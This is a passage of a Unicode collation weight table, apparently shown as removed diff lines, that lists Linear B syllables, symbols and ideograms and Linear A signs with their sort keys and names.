-1001C ; [.446B.0020.0002] # LINEAR B SYLLABLE B052 NO
-1001D ; [.446C.0020.0002] # LINEAR B SYLLABLE B055 NU
-1001E ; [.446D.0020.0002] # LINEAR B SYLLABLE B003 PA
-1001F ; [.446E.0020.0002] # LINEAR B SYLLABLE B072 PE
-10020 ; [.446F.0020.0002] # LINEAR B SYLLABLE B039 PI
-10021 ; [.4470.0020.0002] # LINEAR B SYLLABLE B011 PO
-10022 ; [.4471.0020.0002] # LINEAR B SYLLABLE B050 PU
-10023 ; [.4472.0020.0002] # LINEAR B SYLLABLE B016 QA
-10024 ; [.4473.0020.0002] # LINEAR B SYLLABLE B078 QE
-10025 ; [.4474.0020.0002] # LINEAR B SYLLABLE B021 QI
-10026 ; [.4475.0020.0002] # LINEAR B SYLLABLE B032 QO
-10028 ; [.4476.0020.0002] # LINEAR B SYLLABLE B060 RA
-10029 ; [.4477.0020.0002] # LINEAR B SYLLABLE B027 RE
-1002A ; [.4478.0020.0002] # LINEAR B SYLLABLE B053 RI
-1002B ; [.4479.0020.0002] # LINEAR B SYLLABLE B002 RO
-1002C ; [.447A.0020.0002] # LINEAR B SYLLABLE B026 RU
-1002D ; [.447B.0020.0002] # LINEAR B SYLLABLE B031 SA
-1002E ; [.447C.0020.0002] # LINEAR B SYLLABLE B009 SE
-1002F ; [.447D.0020.0002] # LINEAR B SYLLABLE B041 SI
-10030 ; [.447E.0020.0002] # LINEAR B SYLLABLE B012 SO
-10031 ; [.447F.0020.0002] # LINEAR B SYLLABLE B058 SU
-10032 ; [.4480.0020.0002] # LINEAR B SYLLABLE B059 TA
-10033 ; [.4481.0020.0002] # LINEAR B SYLLABLE B004 TE
-10034 ; [.4482.0020.0002] # LINEAR B SYLLABLE B037 TI
-10035 ; [.4483.0020.0002] # LINEAR B SYLLABLE B005 TO
-10036 ; [.4484.0020.0002] # LINEAR B SYLLABLE B069 TU
-10037 ; [.4485.0020.0002] # LINEAR B SYLLABLE B054 WA
-10038 ; [.4486.0020.0002] # LINEAR B SYLLABLE B075 WE
-10039 ; [.4487.0020.0002] # LINEAR B SYLLABLE B040 WI
-1003A ; [.4488.0020.0002] # LINEAR B SYLLABLE B042 WO
-1003C ; [.4489.0020.0002] # LINEAR B SYLLABLE B017 ZA
-1003D ; [.448A.0020.0002] # LINEAR B SYLLABLE B074 ZE
-1003F ; [.448B.0020.0002] # LINEAR B SYLLABLE B020 ZO
-10040 ; [.448C.0020.0002] # LINEAR B SYLLABLE B025 A2
-10041 ; [.448D.0020.0002] # LINEAR B SYLLABLE B043 A3
-10042 ; [.448E.0020.0002] # LINEAR B SYLLABLE B085 AU
-10043 ; [.448F.0020.0002] # LINEAR B SYLLABLE B071 DWE
-10044 ; [.4490.0020.0002] # LINEAR B SYLLABLE B090 DWO
-10045 ; [.4491.0020.0002] # LINEAR B SYLLABLE B048 NWA
-10046 ; [.4492.0020.0002] # LINEAR B SYLLABLE B029 PU2
-10047 ; [.4493.0020.0002] # LINEAR B SYLLABLE B062 PTE
-10048 ; [.4494.0020.0002] # LINEAR B SYLLABLE B076 RA2
-10049 ; [.4495.0020.0002] # LINEAR B SYLLABLE B033 RA3
-1004A ; [.4496.0020.0002] # LINEAR B SYLLABLE B068 RO2
-1004B ; [.4497.0020.0002] # LINEAR B SYLLABLE B066 TA2
-1004C ; [.4498.0020.0002] # LINEAR B SYLLABLE B087 TWE
-1004D ; [.4499.0020.0002] # LINEAR B SYLLABLE B091 TWO
-10050 ; [.449A.0020.0002] # LINEAR B SYMBOL B018
-10051 ; [.449B.0020.0002] # LINEAR B SYMBOL B019
-10052 ; [.449C.0020.0002] # LINEAR B SYMBOL B022
-10053 ; [.449D.0020.0002] # LINEAR B SYMBOL B034
-10054 ; [.449E.0020.0002] # LINEAR B SYMBOL B047
-10055 ; [.449F.0020.0002] # LINEAR B SYMBOL B049
-10056 ; [.44A0.0020.0002] # LINEAR B SYMBOL B056
-10057 ; [.44A1.0020.0002] # LINEAR B SYMBOL B063
-10058 ; [.44A2.0020.0002] # LINEAR B SYMBOL B064
-10059 ; [.44A3.0020.0002] # LINEAR B SYMBOL B079
-1005A ; [.44A4.0020.0002] # LINEAR B SYMBOL B082
-1005B ; [.44A5.0020.0002] # LINEAR B SYMBOL B083
-1005C ; [.44A6.0020.0002] # LINEAR B SYMBOL B086
-1005D ; [.44A7.0020.0002] # LINEAR B SYMBOL B089
-10080 ; [.44A8.0020.0002] # LINEAR B IDEOGRAM B100 MAN
-10081 ; [.44A9.0020.0002] # LINEAR B IDEOGRAM B102 WOMAN
-10082 ; [.44AA.0020.0002] # LINEAR B IDEOGRAM B104 DEER
-10083 ; [.44AB.0020.0002] # LINEAR B IDEOGRAM B105 EQUID
-10084 ; [.44AC.0020.0002] # LINEAR B IDEOGRAM B105F MARE
-10085 ; [.44AD.0020.0002] # LINEAR B IDEOGRAM B105M STALLION
-10086 ; [.44AE.0020.0002] # LINEAR B IDEOGRAM B106F EWE
-10087 ; [.44AF.0020.0002] # LINEAR B IDEOGRAM B106M RAM
-10088 ; [.44B0.0020.0002] # LINEAR B IDEOGRAM B107F SHE-GOAT
-10089 ; [.44B1.0020.0002] # LINEAR B IDEOGRAM B107M HE-GOAT
-1008A ; [.44B2.0020.0002] # LINEAR B IDEOGRAM B108F SOW
-1008B ; [.44B3.0020.0002] # LINEAR B IDEOGRAM B108M BOAR
-1008C ; [.44B4.0020.0002] # LINEAR B IDEOGRAM B109F COW
-1008D ; [.44B5.0020.0002] # LINEAR B IDEOGRAM B109M BULL
-1008E ; [.44B6.0020.0002] # LINEAR B IDEOGRAM B120 WHEAT
-1008F ; [.44B7.0020.0002] # LINEAR B IDEOGRAM B121 BARLEY
-10090 ; [.44B8.0020.0002] # LINEAR B IDEOGRAM B122 OLIVE
-10091 ; [.44B9.0020.0002] # LINEAR B IDEOGRAM B123 SPICE
-10092 ; [.44BA.0020.0002] # LINEAR B IDEOGRAM B125 CYPERUS
-10093 ; [.44BB.0020.0002] # LINEAR B MONOGRAM B127 KAPO
-10094 ; [.44BC.0020.0002] # LINEAR B MONOGRAM B128 KANAKO
-10095 ; [.44BD.0020.0002] # LINEAR B IDEOGRAM B130 OIL
-10096 ; [.44BE.0020.0002] # LINEAR B IDEOGRAM B131 WINE
-10097 ; [.44BF.0020.0002] # LINEAR B IDEOGRAM B132
-10098 ; [.44C0.0020.0002] # LINEAR B MONOGRAM B133 AREPA
-10099 ; [.44C1.0020.0002] # LINEAR B MONOGRAM B135 MERI
-1009A ; [.44C2.0020.0002] # LINEAR B IDEOGRAM B140 BRONZE
-1009B ; [.44C3.0020.0002] # LINEAR B IDEOGRAM B141 GOLD
-1009C ; [.44C4.0020.0002] # LINEAR B IDEOGRAM B142
-1009D ; [.44C5.0020.0002] # LINEAR B IDEOGRAM B145 WOOL
-1009E ; [.44C6.0020.0002] # LINEAR B IDEOGRAM B146
-1009F ; [.44C7.0020.0002] # LINEAR B IDEOGRAM B150
-100A0 ; [.44C8.0020.0002] # LINEAR B IDEOGRAM B151 HORN
-100A1 ; [.44C9.0020.0002] # LINEAR B IDEOGRAM B152
-100A2 ; [.44CA.0020.0002] # LINEAR B IDEOGRAM B153
-100A3 ; [.44CB.0020.0002] # LINEAR B IDEOGRAM B154
-100A4 ; [.44CC.0020.0002] # LINEAR B MONOGRAM B156 TURO2
-100A5 ; [.44CD.0020.0002] # LINEAR B IDEOGRAM B157
-100A6 ; [.44CE.0020.0002] # LINEAR B IDEOGRAM B158
-100A7 ; [.44CF.0020.0002] # LINEAR B IDEOGRAM B159 CLOTH
-100A8 ; [.44D0.0020.0002] # LINEAR B IDEOGRAM B160
-100A9 ; [.44D1.0020.0002] # LINEAR B IDEOGRAM B161
-100AA ; [.44D2.0020.0002] # LINEAR B IDEOGRAM B162 GARMENT
-100AB ; [.44D3.0020.0002] # LINEAR B IDEOGRAM B163 ARMOUR
-100AC ; [.44D4.0020.0002] # LINEAR B IDEOGRAM B164
-100AD ; [.44D5.0020.0002] # LINEAR B IDEOGRAM B165
-100AE ; [.44D6.0020.0002] # LINEAR B IDEOGRAM B166
-100AF ; [.44D7.0020.0002] # LINEAR B IDEOGRAM B167
-100B0 ; [.44D8.0020.0002] # LINEAR B IDEOGRAM B168
-100B1 ; [.44D9.0020.0002] # LINEAR B IDEOGRAM B169
-100B2 ; [.44DA.0020.0002] # LINEAR B IDEOGRAM B170
-100B3 ; [.44DB.0020.0002] # LINEAR B IDEOGRAM B171
-100B4 ; [.44DC.0020.0002] # LINEAR B IDEOGRAM B172
-100B5 ; [.44DD.0020.0002] # LINEAR B IDEOGRAM B173 MONTH
-100B6 ; [.44DE.0020.0002] # LINEAR B IDEOGRAM B174
-100B7 ; [.44DF.0020.0002] # LINEAR B IDEOGRAM B176 TREE
-100B8 ; [.44E0.0020.0002] # LINEAR B IDEOGRAM B177
-100B9 ; [.44E1.0020.0002] # LINEAR B IDEOGRAM B178
-100BA ; [.44E2.0020.0002] # LINEAR B IDEOGRAM B179
-100BB ; [.44E3.0020.0002] # LINEAR B IDEOGRAM B180
-100BC ; [.44E4.0020.0002] # LINEAR B IDEOGRAM B181
-100BD ; [.44E5.0020.0002] # LINEAR B IDEOGRAM B182
-100BE ; [.44E6.0020.0002] # LINEAR B IDEOGRAM B183
-100BF ; [.44E7.0020.0002] # LINEAR B IDEOGRAM B184
-100C0 ; [.44E8.0020.0002] # LINEAR B IDEOGRAM B185
-100C1 ; [.44E9.0020.0002] # LINEAR B IDEOGRAM B189
-100C2 ; [.44EA.0020.0002] # LINEAR B IDEOGRAM B190
-100C3 ; [.44EB.0020.0002] # LINEAR B IDEOGRAM B191 HELMET
-100C4 ; [.44EC.0020.0002] # LINEAR B IDEOGRAM B220 FOOTSTOOL
-100C5 ; [.44ED.0020.0002] # LINEAR B IDEOGRAM B225 BATHTUB
-100C6 ; [.44EE.0020.0002] # LINEAR B IDEOGRAM B230 SPEAR
-100C7 ; [.44EF.0020.0002] # LINEAR B IDEOGRAM B231 ARROW
-100C8 ; [.44F0.0020.0002] # LINEAR B IDEOGRAM B232
-100C9 ; [.44F1.0020.0002] # LINEAR B IDEOGRAM B233 SWORD
-100CA ; [.44F2.0020.0002] # LINEAR B IDEOGRAM B234
-100CB ; [.44F3.0020.0002] # LINEAR B IDEOGRAM B236
-100CC ; [.44F4.0020.0002] # LINEAR B IDEOGRAM B240 WHEELED CHARIOT
-100CD ; [.44F5.0020.0002] # LINEAR B IDEOGRAM B241 CHARIOT
-100CE ; [.44F6.0020.0002] # LINEAR B IDEOGRAM B242 CHARIOT FRAME
-100CF ; [.44F7.0020.0002] # LINEAR B IDEOGRAM B243 WHEEL
-100D0 ; [.44F8.0020.0002] # LINEAR B IDEOGRAM B245
-100D1 ; [.44F9.0020.0002] # LINEAR B IDEOGRAM B246
-100D2 ; [.44FA.0020.0002] # LINEAR B MONOGRAM B247 DIPTE
-100D3 ; [.44FB.0020.0002] # LINEAR B IDEOGRAM B248
-100D4 ; [.44FC.0020.0002] # LINEAR B IDEOGRAM B249
-100D5 ; [.44FD.0020.0002] # LINEAR B IDEOGRAM B251
-100D6 ; [.44FE.0020.0002] # LINEAR B IDEOGRAM B252
-100D7 ; [.44FF.0020.0002] # LINEAR B IDEOGRAM B253
-100D8 ; [.4500.0020.0002] # LINEAR B IDEOGRAM B254 DART
-100D9 ; [.4501.0020.0002] # LINEAR B IDEOGRAM B255
-100DA ; [.4502.0020.0002] # LINEAR B IDEOGRAM B256
-100DB ; [.4503.0020.0002] # LINEAR B IDEOGRAM B257
-100DC ; [.4504.0020.0002] # LINEAR B IDEOGRAM B258
-100DD ; [.4505.0020.0002] # LINEAR B IDEOGRAM B259
-100DE ; [.4506.0020.0002] # LINEAR B IDEOGRAM VESSEL B155
-100DF ; [.4507.0020.0002] # LINEAR B IDEOGRAM VESSEL B200
-100E0 ; [.4508.0020.0002] # LINEAR B IDEOGRAM VESSEL B201
-100E1 ; [.4509.0020.0002] # LINEAR B IDEOGRAM VESSEL B202
-100E2 ; [.450A.0020.0002] # LINEAR B IDEOGRAM VESSEL B203
-100E3 ; [.450B.0020.0002] # LINEAR B IDEOGRAM VESSEL B204
-100E4 ; [.450C.0020.0002] # LINEAR B IDEOGRAM VESSEL B205
-100E5 ; [.450D.0020.0002] # LINEAR B IDEOGRAM VESSEL B206
-100E6 ; [.450E.0020.0002] # LINEAR B IDEOGRAM VESSEL B207
-100E7 ; [.450F.0020.0002] # LINEAR B IDEOGRAM VESSEL B208
-100E8 ; [.4510.0020.0002] # LINEAR B IDEOGRAM VESSEL B209
-100E9 ; [.4511.0020.0002] # LINEAR B IDEOGRAM VESSEL B210
-100EA ; [.4512.0020.0002] # LINEAR B IDEOGRAM VESSEL B211
-100EB ; [.4513.0020.0002] # LINEAR B IDEOGRAM VESSEL B212
-100EC ; [.4514.0020.0002] # LINEAR B IDEOGRAM VESSEL B213
-100ED ; [.4515.0020.0002] # LINEAR B IDEOGRAM VESSEL B214
-100EE ; [.4516.0020.0002] # LINEAR B IDEOGRAM VESSEL B215
-100EF ; [.4517.0020.0002] # LINEAR B IDEOGRAM VESSEL B216
-100F0 ; [.4518.0020.0002] # LINEAR B IDEOGRAM VESSEL B217
-100F1 ; [.4519.0020.0002] # LINEAR B IDEOGRAM VESSEL B218
-100F2 ; [.451A.0020.0002] # LINEAR B IDEOGRAM VESSEL B219
-100F3 ; [.451B.0020.0002] # LINEAR B IDEOGRAM VESSEL B221
-100F4 ; [.451C.0020.0002] # LINEAR B IDEOGRAM VESSEL B222
-100F5 ; [.451D.0020.0002] # LINEAR B IDEOGRAM VESSEL B226
-100F6 ; [.451E.0020.0002] # LINEAR B IDEOGRAM VESSEL B227
-100F7 ; [.451F.0020.0002] # LINEAR B IDEOGRAM VESSEL B228
-100F8 ; [.4520.0020.0002] # LINEAR B IDEOGRAM VESSEL B229
-100F9 ; [.4521.0020.0002] # LINEAR B IDEOGRAM VESSEL B250
-100FA ; [.4522.0020.0002] # LINEAR B IDEOGRAM VESSEL B305
-10600 ; [.4523.0020.0002] # LINEAR A SIGN AB001
-10601 ; [.4524.0020.0002] # LINEAR A SIGN AB002
-10602 ; [.4525.0020.0002] # LINEAR A SIGN AB003
-10603 ; [.4526.0020.0002] # LINEAR A SIGN AB004
-10604 ; [.4527.0020.0002] # LINEAR A SIGN AB005
-10605 ; [.4528.0020.0002] # LINEAR A SIGN AB006
-10606 ; [.4529.0020.0002] # LINEAR A SIGN AB007
-10607 ; [.452A.0020.0002] # LINEAR A SIGN AB008
-10608 ; [.452B.0020.0002] # LINEAR A SIGN AB009
-10609 ; [.452C.0020.0002] # LINEAR A SIGN AB010
-1060A ; [.452D.0020.0002] # LINEAR A SIGN AB011
-1060B ; [.452E.0020.0002] # LINEAR A SIGN AB013
-1060C ; [.452F.0020.0002] # LINEAR A SIGN AB016
-1060D ; [.4530.0020.0002] # LINEAR A SIGN AB017
-1060E ; [.4531.0020.0002] # LINEAR A SIGN AB020
-1060F ; [.4532.0020.0002] # LINEAR A SIGN AB021
-10610 ; [.4533.0020.0002] # LINEAR A SIGN AB021F
-10611 ; [.4534.0020.0002] # LINEAR A SIGN AB021M
-10612 ; [.4535.0020.0002] # LINEAR A SIGN AB022
-10613 ; [.4536.0020.0002] # LINEAR A SIGN AB022F
-10614 ; [.4537.0020.0002] # LINEAR A SIGN AB022M
-10615 ; [.4538.0020.0002] # LINEAR A SIGN AB023
-10616 ; [.4539.0020.0002] # LINEAR A SIGN AB023M
-10617 ; [.453A.0020.0002] # LINEAR A SIGN AB024
-10618 ; [.453B.0020.0002] # LINEAR A SIGN AB026
-10619 ; [.453C.0020.0002] # LINEAR A SIGN AB027
-1061A ; [.453D.0020.0002] # LINEAR A SIGN AB028
-1061B ; [.453E.0020.0002] # LINEAR A SIGN A028B
-1061C ; [.453F.0020.0002] # LINEAR A SIGN AB029
-1061D ; [.4540.0020.0002] # LINEAR A SIGN AB030
-1061E ; [.4541.0020.0002] # LINEAR A SIGN AB031
-1061F ; [.4542.0020.0002] # LINEAR A SIGN AB034
-10620 ; [.4543.0020.0002] # LINEAR A SIGN AB037
-10621 ; [.4544.0020.0002] # LINEAR A SIGN AB038
-10622 ; [.4545.0020.0002] # LINEAR A SIGN AB039
-10623 ; [.4546.0020.0002] # LINEAR A SIGN AB040
-10624 ; [.4547.0020.0002] # LINEAR A SIGN AB041
-10625 ; [.4548.0020.0002] # LINEAR A SIGN AB044
-10626 ; [.4549.0020.0002] # LINEAR A SIGN AB045
-10627 ; [.454A.0020.0002] # LINEAR A SIGN AB046
-10628 ; [.454B.0020.0002] # LINEAR A SIGN AB047
-10629 ; [.454C.0020.0002] # LINEAR A SIGN AB048
-1062A ; [.454D.0020.0002] # LINEAR A SIGN AB049
-1062B ; [.454E.0020.0002] # LINEAR A SIGN AB050
-1062C ; [.454F.0020.0002] # LINEAR A SIGN AB051
-1062D ; [.4550.0020.0002] # LINEAR A SIGN AB053
-1062E ; [.4551.0020.0002] # LINEAR A SIGN AB054
-1062F ; [.4552.0020.0002] # LINEAR A SIGN AB055
-10630 ; [.4553.0020.0002] # LINEAR A SIGN AB056
-10631 ; [.4554.0020.0002] # LINEAR A SIGN AB057
-10632 ; [.4555.0020.0002] # LINEAR A SIGN AB058
-10633 ; [.4556.0020.0002] # LINEAR A SIGN AB059
-10634 ; [.4557.0020.0002] # LINEAR A SIGN AB060
-10635 ; [.4558.0020.0002] # LINEAR A SIGN AB061
-10636 ; [.4559.0020.0002] # LINEAR A SIGN AB065
-10637 ; [.455A.0020.0002] # LINEAR A SIGN AB066
-10638 ; [.455B.0020.0002] # LINEAR A SIGN AB067
-10639 ; [.455C.0020.0002] # LINEAR A SIGN AB069
-1063A ; [.455D.0020.0002] # LINEAR A SIGN AB070
-1063B ; [.455E.0020.0002] # LINEAR A SIGN AB073
-1063C ; [.455F.0020.0002] # LINEAR A SIGN AB074
-1063D ; [.4560.0020.0002] # LINEAR A SIGN AB076
-1063E ; [.4561.0020.0002] # LINEAR A SIGN AB077
-1063F ; [.4562.0020.0002] # LINEAR A SIGN AB078
-10640 ; [.4563.0020.0002] # LINEAR A SIGN AB079
-10641 ; [.4564.0020.0002] # LINEAR A SIGN AB080
-10642 ; [.4565.0020.0002] # LINEAR A SIGN AB081
-10643 ; [.4566.0020.0002] # LINEAR A SIGN AB082
-10644 ; [.4567.0020.0002] # LINEAR A SIGN AB085
-10645 ; [.4568.0020.0002] # LINEAR A SIGN AB086
-10646 ; [.4569.0020.0002] # LINEAR A SIGN AB087
-10647 ; [.456A.0020.0002] # LINEAR A SIGN A100-102
-10648 ; [.456B.0020.0002] # LINEAR A SIGN AB118
-10649 ; [.456C.0020.0002] # LINEAR A SIGN AB120
-1064A ; [.456D.0020.0002] # LINEAR A SIGN A120B
-1064B ; [.456E.0020.0002] # LINEAR A SIGN AB122
-1064C ; [.456F.0020.0002] # LINEAR A SIGN AB123
-1064D ; [.4570.0020.0002] # LINEAR A SIGN AB131A
-1064E ; [.4571.0020.0002] # LINEAR A SIGN AB131B
-1064F ; [.4572.0020.0002] # LINEAR A SIGN A131C
-10650 ; [.4573.0020.0002] # LINEAR A SIGN AB164
-10651 ; [.4574.0020.0002] # LINEAR A SIGN AB171
-10652 ; [.4575.0020.0002] # LINEAR A SIGN AB180
-10653 ; [.4576.0020.0002] # LINEAR A SIGN AB188
-10654 ; [.4577.0020.0002] # LINEAR A SIGN AB191
-10655 ; [.4578.0020.0002] # LINEAR A SIGN A301
-10656 ; [.4579.0020.0002] # LINEAR A SIGN A302
-10657 ; [.457A.0020.0002] # LINEAR A SIGN A303
-10658 ; [.457B.0020.0002] # LINEAR A SIGN A304
-10659 ; [.457C.0020.0002] # LINEAR A SIGN A305
-1065A ; [.457D.0020.0002] # LINEAR A SIGN A306
-1065B ; [.457E.0020.0002] # LINEAR A SIGN A307
-1065C ; [.457F.0020.0002] # LINEAR A SIGN A308
-1065D ; [.4580.0020.0002] # LINEAR A SIGN A309A
-1065E ; [.4581.0020.0002] # LINEAR A SIGN A309B
-1065F ; [.4582.0020.0002] # LINEAR A SIGN A309C
-10660 ; [.4583.0020.0002] # LINEAR A SIGN A310
-10661 ; [.4584.0020.0002] # LINEAR A SIGN A311
-10662 ; [.4585.0020.0002] # LINEAR A SIGN A312
-10663 ; [.4586.0020.0002] # LINEAR A SIGN A313A
-10664 ; [.4587.0020.0002] # LINEAR A SIGN A313B
-10665 ; [.4588.0020.0002] # LINEAR A SIGN A313C
-10666 ; [.4589.0020.0002] # LINEAR A SIGN A314
-10667 ; [.458A.0020.0002] # LINEAR A SIGN A315
-10668 ; [.458B.0020.0002] # LINEAR A SIGN A316
-10669 ; [.458C.0020.0002] # LINEAR A SIGN A317
-1066A ; [.458D.0020.0002] # LINEAR A SIGN A318
-1066B ; [.458E.0020.0002] # LINEAR A SIGN A319
-1066C ; [.458F.0020.0002] # LINEAR A SIGN A320
-1066D ; [.4590.0020.0002] # LINEAR A SIGN A321
-1066E ; [.4591.0020.0002] # LINEAR A SIGN A322
-1066F ; [.4592.0020.0002] # LINEAR A SIGN A323
-10670 ; [.4593.0020.0002] # LINEAR A SIGN A324
-10671 ; [.4594.0020.0002] # LINEAR A SIGN A325
-10672 ; [.4595.0020.0002] # LINEAR A SIGN A326
-10673 ; [.4596.0020.0002] # LINEAR A SIGN A327
-10674 ; [.4597.0020.0002] # LINEAR A SIGN A328
-10675 ; [.4598.0020.0002] # LINEAR A SIGN A329
-10676 ; [.4599.0020.0002] # LINEAR A SIGN A330
-10677 ; [.459A.0020.0002] # LINEAR A SIGN A331
-10678 ; [.459B.0020.0002] # LINEAR A SIGN A332
-10679 ; [.459C.0020.0002] # LINEAR A SIGN A333
-1067A ; [.459D.0020.0002] # LINEAR A SIGN A334
-1067B ; [.459E.0020.0002] # LINEAR A SIGN A335
-1067C ; [.459F.0020.0002] # LINEAR A SIGN A336
-1067D ; [.45A0.0020.0002] # LINEAR A SIGN A337
-1067E ; [.45A1.0020.0002] # LINEAR A SIGN A338
-1067F ; [.45A2.0020.0002] # LINEAR A SIGN A339
-10680 ; [.45A3.0020.0002] # LINEAR A SIGN A340
-10681 ; [.45A4.0020.0002] # LINEAR A SIGN A341
-10682 ; [.45A5.0020.0002] # LINEAR A SIGN A342
-10683 ; [.45A6.0020.0002] # LINEAR A SIGN A343
-10684 ; [.45A7.0020.0002] # LINEAR A SIGN A344
-10685 ; [.45A8.0020.0002] # LINEAR A SIGN A345
-10686 ; [.45A9.0020.0002] # LINEAR A SIGN A346
-10687 ; [.45AA.0020.0002] # LINEAR A SIGN A347
-10688 ; [.45AB.0020.0002] # LINEAR A SIGN A348
-10689 ; [.45AC.0020.0002] # LINEAR A SIGN A349
-1068A ; [.45AD.0020.0002] # LINEAR A SIGN A350
-1068B ; [.45AE.0020.0002] # LINEAR A SIGN A351
-1068C ; [.45AF.0020.0002] # LINEAR A SIGN A352
-1068D ; [.45B0.0020.0002] # LINEAR A SIGN A353
-1068E ; [.45B1.0020.0002] # LINEAR A SIGN A354
-1068F ; [.45B2.0020.0002] # LINEAR A SIGN A355
-10690 ; [.45B3.0020.0002] # LINEAR A SIGN A356
-10691 ; [.45B4.0020.0002] # LINEAR A SIGN A357
-10692 ; [.45B5.0020.0002] # LINEAR A SIGN A358
-10693 ; [.45B6.0020.0002] # LINEAR A SIGN A359
-10694 ; [.45B7.0020.0002] # LINEAR A SIGN A360
-10695 ; [.45B8.0020.0002] # LINEAR A SIGN A361
-10696 ; [.45B9.0020.0002] # LINEAR A SIGN A362
-10697 ; [.45BA.0020.0002] # LINEAR A SIGN A363
-10698 ; [.45BB.0020.0002] # LINEAR A SIGN A364
-10699 ; [.45BC.0020.0002] # LINEAR A SIGN A365
-1069A ; [.45BD.0020.0002] # LINEAR A SIGN A366
-1069B ; [.45BE.0020.0002] # LINEAR A SIGN A367
-1069C ; [.45BF.0020.0002] # LINEAR A SIGN A368
-1069D ; [.45C0.0020.0002] # LINEAR A SIGN A369
-1069E ; [.45C1.0020.0002] # LINEAR A SIGN A370
-1069F ; [.45C2.0020.0002] # LINEAR A SIGN A371
-106A0 ; [.45C3.0020.0002] # LINEAR A SIGN A400-VAS
-106A1 ; [.45C4.0020.0002] # LINEAR A SIGN A401-VAS
-106A2 ; [.45C5.0020.0002] # LINEAR A SIGN A402-VAS
-106A3 ; [.45C6.0020.0002] # LINEAR A SIGN A403-VAS
-106A4 ; [.45C7.0020.0002] # LINEAR A SIGN A404-VAS
-106A5 ; [.45C8.0020.0002] # LINEAR A SIGN A405-VAS
-106A6 ; [.45C9.0020.0002] # LINEAR A SIGN A406-VAS
-106A7 ; [.45CA.0020.0002] # LINEAR A SIGN A407-VAS
-106A8 ; [.45CB.0020.0002] # LINEAR A SIGN A408-VAS
-106A9 ; [.45CC.0020.0002] # LINEAR A SIGN A409-VAS
-106AA ; [.45CD.0020.0002] # LINEAR A SIGN A410-VAS
-106AB ; [.45CE.0020.0002] # LINEAR A SIGN A411-VAS
-106AC ; [.45CF.0020.0002] # LINEAR A SIGN A412-VAS
-106AD ; [.45D0.0020.0002] # LINEAR A SIGN A413-VAS
-106AE ; [.45D1.0020.0002] # LINEAR A SIGN A414-VAS
-106AF ; [.45D2.0020.0002] # LINEAR A SIGN A415-VAS
-106B0 ; [.45D3.0020.0002] # LINEAR A SIGN A416-VAS
-106B1 ; [.45D4.0020.0002] # LINEAR A SIGN A417-VAS
-106B2 ; [.45D5.0020.0002] # LINEAR A SIGN A418-VAS
-106B3 ; [.45D6.0020.0002] # LINEAR A SIGN A501
-106B4 ; [.45D7.0020.0002] # LINEAR A SIGN A502
-106B5 ; [.45D8.0020.0002] # LINEAR A SIGN A503
-106B6 ; [.45D9.0020.0002] # LINEAR A SIGN A504
-106B7 ; [.45DA.0020.0002] # LINEAR A SIGN A505
-106B8 ; [.45DB.0020.0002] # LINEAR A SIGN A506
-106B9 ; [.45DC.0020.0002] # LINEAR A SIGN A508
-106BA ; [.45DD.0020.0002] # LINEAR A SIGN A509
-106BB ; [.45DE.0020.0002] # LINEAR A SIGN A510
-106BC ; [.45DF.0020.0002] # LINEAR A SIGN A511
-106BD ; [.45E0.0020.0002] # LINEAR A SIGN A512
-106BE ; [.45E1.0020.0002] # LINEAR A SIGN A513
-106BF ; [.45E2.0020.0002] # LINEAR A SIGN A515
-106C0 ; [.45E3.0020.0002] # LINEAR A SIGN A516
-106C1 ; [.45E4.0020.0002] # LINEAR A SIGN A520
-106C2 ; [.45E5.0020.0002] # LINEAR A SIGN A521
-106C3 ; [.45E6.0020.0002] # LINEAR A SIGN A523
-106C4 ; [.45E7.0020.0002] # LINEAR A SIGN A524
-106C5 ; [.45E8.0020.0002] # LINEAR A SIGN A525
-106C6 ; [.45E9.0020.0002] # LINEAR A SIGN A526
-106C7 ; [.45EA.0020.0002] # LINEAR A SIGN A527
-106C8 ; [.45EB.0020.0002] # LINEAR A SIGN A528
-106C9 ; [.45EC.0020.0002] # LINEAR A SIGN A529
-106CA ; [.45ED.0020.0002] # LINEAR A SIGN A530
-106CB ; [.45EE.0020.0002] # LINEAR A SIGN A531
-106CC ; [.45EF.0020.0002] # LINEAR A SIGN A532
-106CD ; [.45F0.0020.0002] # LINEAR A SIGN A534
-106CE ; [.45F1.0020.0002] # LINEAR A SIGN A535
-106CF ; [.45F2.0020.0002] # LINEAR A SIGN A536
-106D0 ; [.45F3.0020.0002] # LINEAR A SIGN A537
-106D1 ; [.45F4.0020.0002] # LINEAR A SIGN A538
-106D2 ; [.45F5.0020.0002] # LINEAR A SIGN A539
-106D3 ; [.45F6.0020.0002] # LINEAR A SIGN A540
-106D4 ; [.45F7.0020.0002] # LINEAR A SIGN A541
-106D5 ; [.45F8.0020.0002] # LINEAR A SIGN A542
-106D6 ; [.45F9.0020.0002] # LINEAR A SIGN A545
-106D7 ; [.45FA.0020.0002] # LINEAR A SIGN A547
-106D8 ; [.45FB.0020.0002] # LINEAR A SIGN A548
-106D9 ; [.45FC.0020.0002] # LINEAR A SIGN A549
-106DA ; [.45FD.0020.0002] # LINEAR A SIGN A550
-106DB ; [.45FE.0020.0002] # LINEAR A SIGN A551
-106DC ; [.45FF.0020.0002] # LINEAR A SIGN A552
-106DD ; [.4600.0020.0002] # LINEAR A SIGN A553
-106DE ; [.4601.0020.0002] # LINEAR A SIGN A554
-106DF ; [.4602.0020.0002] # LINEAR A SIGN A555
-106E0 ; [.4603.0020.0002] # LINEAR A SIGN A556
-106E1 ; [.4604.0020.0002] # LINEAR A SIGN A557
-106E2 ; [.4605.0020.0002] # LINEAR A SIGN A559
-106E3 ; [.4606.0020.0002] # LINEAR A SIGN A563
-106E4 ; [.4607.0020.0002] # LINEAR A SIGN A564
-106E5 ; [.4608.0020.0002] # LINEAR A SIGN A565
-106E6 ; [.4609.0020.0002] # LINEAR A SIGN A566
-106E7 ; [.460A.0020.0002] # LINEAR A SIGN A568
-106E8 ; [.460B.0020.0002] # LINEAR A SIGN A569
-106E9 ; [.460C.0020.0002] # LINEAR A SIGN A570
-106EA ; [.460D.0020.0002] # LINEAR A SIGN A571
-106EB ; [.460E.0020.0002] # LINEAR A SIGN A572
-106EC ; [.460F.0020.0002] # LINEAR A SIGN A573
-106ED ; [.4610.0020.0002] # LINEAR A SIGN A574
-106EE ; [.4611.0020.0002] # LINEAR A SIGN A575
-106EF ; [.4612.0020.0002] # LINEAR A SIGN A576
-106F0 ; [.4613.0020.0002] # LINEAR A SIGN A577
-106F1 ; [.4614.0020.0002] # LINEAR A SIGN A578
-106F2 ; [.4615.0020.0002] # LINEAR A SIGN A579
-106F3 ; [.4616.0020.0002] # LINEAR A SIGN A580
-106F4 ; [.4617.0020.0002] # LINEAR A SIGN A581
